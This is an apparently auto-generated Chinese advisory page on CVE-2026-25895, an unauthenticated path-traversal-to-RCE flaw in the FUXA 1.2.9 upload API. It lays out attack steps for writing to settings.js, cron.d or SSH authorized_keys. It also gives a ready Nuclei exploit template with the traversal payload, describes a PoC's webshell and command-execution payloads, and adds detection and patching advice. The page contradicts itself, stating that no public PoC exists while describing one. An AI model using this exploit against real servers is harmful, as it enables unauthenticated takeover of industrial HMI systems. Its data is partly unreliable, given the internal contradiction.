[webapps] FUXA 1.2.9 - RCE
FUXA 1.2.9及更早版本存在未经身份验证的路径遍历漏洞,可导致任意文件写入,最终实现远程代码执行。
Critical · CVSS 9.8 (估计,基于CVSS 3.1 网络-低复杂-无特权-无需交互-机密/完整/可用性高)📋 漏洞基础信息
| CVE | CVE-2026-25895 |
|---|---|
| 漏洞类型 | 路径遍历 + 任意文件写入 + 远程代码执行 |
| 受影响版本 | FUXA <= 1.2.9 (修复版本: 1.2.10) |
| 危害等级 | Critical · CVSS 9.8 (估计,基于CVSS 3.1 网络-低复杂-无特权-无需交互-机密/完整/可用性高) |
| 发布日期 | 2026-05-21 |
| 提交者 | Anthony Cihan (Hann1bl3L3ct3r) |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
服务端 `server/api/projects/index.js` 中 `POST /api/upload` 端点未注册任何认证中间件(既未使用 JWT/API-Key 身份验证的 `secureFnc`,也未使用管理员权限检查),且处理函数直接将用户可控的 JSON 字段 `destination` 与 `runtime.settings.appDir` 拼接成路径:`path.resolve(runtime.settings.appDir, '_' + destination)`,仅添加前置下划线,未做路径规范化与目录穿越拦截,导致攻击者可通过 `a/../../../../etc` 等相对路径逃逸到任意目录。
🎯 攻击场景
1. 前置条件:目标运行 FUXA <= 1.2.9,`/api/upload` 端点可访问。 2. 攻击步骤: a) (可选) 利用未授权端点 `GET /api/settings` 泄露运行时配置,获取 `appDir`、用户路径等信息。 b) 构造 JSON 请求体,`destination` 设为 `a/../../../..//目标父目录`,`resource.fullPath` 设为目标文件名,`resource.data` 设为 base64 编码的 payload。 c) 发送 `POST /api/upload` 请求,触发路径遍历,将 payload 写入任意可写路径。 d) 根据写入位置触发 RCE: - 写入 `settings.js`:重启 FUXA 后自动执行嵌入的 JS 代码。 - 写入 `/etc/cron.d/` 下的 cron 任务:1 分钟内被 cron 执行。 - 写入 SSH `authorized_keys`:实现持久化远程登录。 3. 成功标志:攻击者成功执行任意操作系统命令。
💥 漏洞影响
未经身份验证的攻击者可在 FUXA 服务器上实现远程代码执行 (RCE),完全控制服务器(写入 SSH 密钥、创建 cron 任务、篡改启动脚本等),可能导致数据泄露、服务中断、内网横向移动。
⚔️ Nuclei Exploit 模板
以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:
id: CVE-2026-25895-exploit
info:
name: FUXA 1.2.9 - Path Traversal to RCE
author: Hann1bl3L3ct3r
severity: critical
description: FUXA <= 1.2.9 allows unauthenticated path traversal via /api/upload, leading to arbitrary file write. By writing a Node.js script to the `commands` FUXA directory and triggering a malicious custom command, unauthenticated RCE is achieved.
reference:
- https://github.com/frangoteam/FUXA
tags: cve,cve2026,fuxa,rce,path-traversal,unauth
variables:
destination: 'a/../../../../../../../../../../../../'
filename: 'test.js'
content_base64: 'Y29uc29sZS5sb2coJ3Rlc3QnKQo='
http:
- raw:
- |
POST /api/upload HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
User-Agent: Mozilla/5.0 (FUXA-CVE-2026-25895-PoC)
{"destination":"{{destination}}","file":{"name":"{{filename}}","type":"bin","data":"{{content_base64}}"}}
matchers:
- type: status
status:
- 200
extractors:
- type: json
part: body
name: msg
json:
- '.msg'🔬 深度技术分析
PoC 核心逻辑均在 `FuxaUploadExploit` 类中: 1. `upload` 方法:构造 JSON 请求体,包含 `resource` (文件名、路径、类型、数据) 和 `destination` (目录穿越 payload)。根据 `file_type` 决定是否 base64 解码。 2. `write_arbitrary` 方法:高层封装,将目标绝对路径转换为 `destination` 的穿越格式(`a/..` 重复 `appdir_depth` 次),并调用 `upload` 完成写入。 3. `payload_webshell_js` 与 `payload_settings_js_rce`:生成替换 `settings.js` 的 JavaScript payload。webshell 版本在 Node 进程中内嵌一个 HTTP 监听器,通过 `X-Auth-Token` 认证后执行任意命令;RCE 版本直接通过 `child_process.exec` 执行单条命令。 4. `payload_cron_job`:生成 cron 文件内容,可写入 `/etc/cron.d/` 或用户 crontab。 5. 主流程 `run` 函数:先通过 canary 文件验证写入能力,然后根据 `--mode` 参数选择 payload 并写入目标路径。
🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2026-25895-detection
info:
name: FUXA 1.2.9 - Version Detection
author: Hann1bl3L3ct3r
severity: high
description: FUXA <= 1.2.9 is vulnerable to an unauthenticated path traversal leading to arbitrary file write and RCE.
reference:
- https://github.com/frangoteam/FUXA
tags: cve,cve2026,fuxa,path-traversal
http:
- raw:
- |
GET /api/version HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (FUXA-CVE-2026-25895-PoC)
- |
GET /api/settings HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (FUXA-CVE-2026-25895-PoC)
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
part: body
words:
- 'appDir'
- 'secureEnabled'
- 'settingsObj'
- type: word
part: header
words:
- 'application/json'
extractors:
- type: regex
part: body
name: version
regex:
- '"version":"([\d.]+)"'🛡️ 修复建议
1. 升级到 FUXA 1.2.10 或更高版本(该版本已修复)。 2. 临时缓解措施: - 在反向代理/Web 应用防火墙 (WAF) 处拦截 `POST /api/upload` 路径,或限制其仅允许已验证用户访问。 - 限制 FUXA 进程运行权限(不使用 root),降低写入敏感目录的能力。 - 监控 `/api/settings` 和 `/api/upload` 接口的异常访问。
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-22 08:14 | 来源: Exploit-DB